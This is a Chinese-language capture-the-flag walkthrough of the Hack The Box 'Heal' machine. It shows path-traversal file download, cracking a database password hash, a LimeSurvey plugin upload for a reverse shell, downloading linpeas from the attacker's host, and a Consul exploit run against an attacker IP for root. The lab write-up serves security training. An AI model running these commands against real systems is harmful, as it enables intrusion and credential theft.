HTB靶机 - Heal

admin 2025年6月7日09:14:26评论7 views字数 3128阅读10分25秒阅读模式

信息收集

1、端口扫描

nmap -Pn -sS --min-rate 10000 -sV -O 10.10.11.46   

PORT   STATE SERVICE VERSION22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)80/tcp open  http    nginx 1.18.0 (Ubuntu)

访问80端口( 不可达, 根据返回信息 ) & 添加dns解析

sudo vim /etc/hosts10.10.11.46 heal.htb

2、子域名扫描

ffuf -c -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt:FUZZ -u http://heal.htb -H "Host: FUZZ.heal.htb"

api                     [Status: 200, Size: 12515, Words: 469, Lines: 91, Duration: 3325ms]

添加dns解析

sudo vim /etc/hosts10.10.11.46 api.heal.htb

3、目录扫描

dirsearch扫描时发现都是 503 错误

katana --- 爬取网页端点

# 命令./katana -u http://heal.htb -jc -o heal.endpointscat heal.endpoints | grep heal.htb# 结果http://api.heal.htb/download?filename=http://api.heal.htb/logouthttp://api.heal.htb/profilehttp://api.heal.htb/signinhttp://api.heal.htb/signup.......

结合heal.htb的功能点 -> heal.htb的功能 -> 都是通过调用api.heal.htb来实现的

whatweb --- 指纹识别

# 命令whatweb http://api.heal.htb# 结果http://api.heal.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.46], Title[Ruby on Rails 7.1.4], UncommonHeaders[x-content-type-options,x-permitted-cross-domain-policies,referrer-policy,x-request-id], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[0], nginx[1.18.0]

4、测试网页功能

注册账户 & Profile & Survey & Logout

随便注册即可

Profile -> 导出成PDF格式 -> 抓包(POST /exports) -> 放包(OPTIONS /download?filename=ab97346d3974e9b50442.pdf) -> 任意文件下载( GET /download?filename=../../../../etc/passwd )

HTB靶机 - Heal
heal-00
root:x:0:0:root:/root:/bin/bash.....ron:x:1001:1001:,,,:/home/ron:/bin/bash

Ruby配置和连接数据库:https://courses.bigbinaryacademy.com/learn-rubyonrails/configuring-and-connecting-to-a-database/

结合api.heal.htb使用的是ruby语言 -> config.ru

HTB靶机 - Heal
heal-01
config目录
找配置文件 -> 有 PostgreSQL 用户 -> Ruby On Rails中的数据库配置文件得到了数据库 -> storage/test.sqlite3 && storage/development.sqlite3
HTB靶机 - Heal
heal-02
storage/development.sqlite3
HTB靶机 - Heal
heal-03
sqlite3 ./development.sqlite3 -> 可以查看内容 -> users表 用户的hash值 -> 保存到文件中 -> john爆破hash文件:$2a$12$xxxxxxxGjohn hash --show
HTB靶机 - Heal
heal-04
ralph:147258369

Survey -> 跳转到新的站点 -> 添加DNS解析( take-survey.heal.htb )

HTB靶机 - Heal
heal-05
这里泄露了管理员的邮箱 --- 右上角三个点( 报错跳转的 )[email protected]
HTB靶机 - Heal
heal-06

dirsearch --- 目录扫描

HTB靶机 - Heal
heal-07
admin目录 -> 访问 -> 跳转 -> http://take-survey.heal.htb/index.php/admin/authentication/sa/login -> 登录框 -> 根据前面得到的 -> 登录后台

打点

在后台发现版本信息

LimeSurvey Community Edition Version 6.6.4

Github RCE Poc:https://github.com/N4s1rl1/Limesurvey-6.6.4-RCE

修改revshell.php内容:反弹的IP 和 端口号打包 revshell.php 和 config.xml 内容为zipzip shell.zip revshell.php config.xml然后上传,监听,激活,得到shell
HTB靶机 - Heal
heal-08
# 伪终端python3 -c 'import pty;pty.spawn("/bin/bash")'

User.txt

/var/www/limesurvey/application/config/config.php'username' => 'db_user','password' => 'AdmiDi0_pA$$w0rd',

数据库中没什么信息, 在之前我们已经拿到数据库里面的信息了

# ssh 登录ssh [email protected]ron:AdmiDi0_pA$$w0rd

root.txt

本机在linpeas.sh目录下本机:python -m http.server 80shell:wget http://Server_ip/linpeas.shchmod +x linpeas.sh./linpeas.sh
这端口一看就有东西吧。
HTB靶机 - Heal
heal-09
# 转发端口本机中:ssh -L 8500:127.0.0.1:8500 [email protected]将heal.htb 的8500端口转发到本地的8500端口
访问 127.0.0.1:8500发现版本信息 Consul v1.19.2
HTB靶机 - Heal
heal-10

Hashicorp Consul v1.0 - Remote Command Execution (RCE):https://www.exploit-db.com/exploits/51117

python shell.py 127.0.0.1 8500 10.10.16.62 9999 0

总结

功能点 -> 导出功能 -> 任意文件下载 -> 结合框架 -> 数据库文件 -> hash爆破 -> 得到有效凭证功能点 -> api接口 -> 目录扫描 -> 后台登录 -> 版本信息 -> 历史漏洞 -> GetShell配置文件 -> User.txt端口异常 -> 转发 -> 版本信息 -> 历史漏洞 -> Root.txt
  • katanawhatwebssh -L

原文始发于微信公众号(夜风Sec):HTB靶机 - Heal

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月7日09:14:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HTB靶机 - Healhttps://cn-sec.com/archives/3857422.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息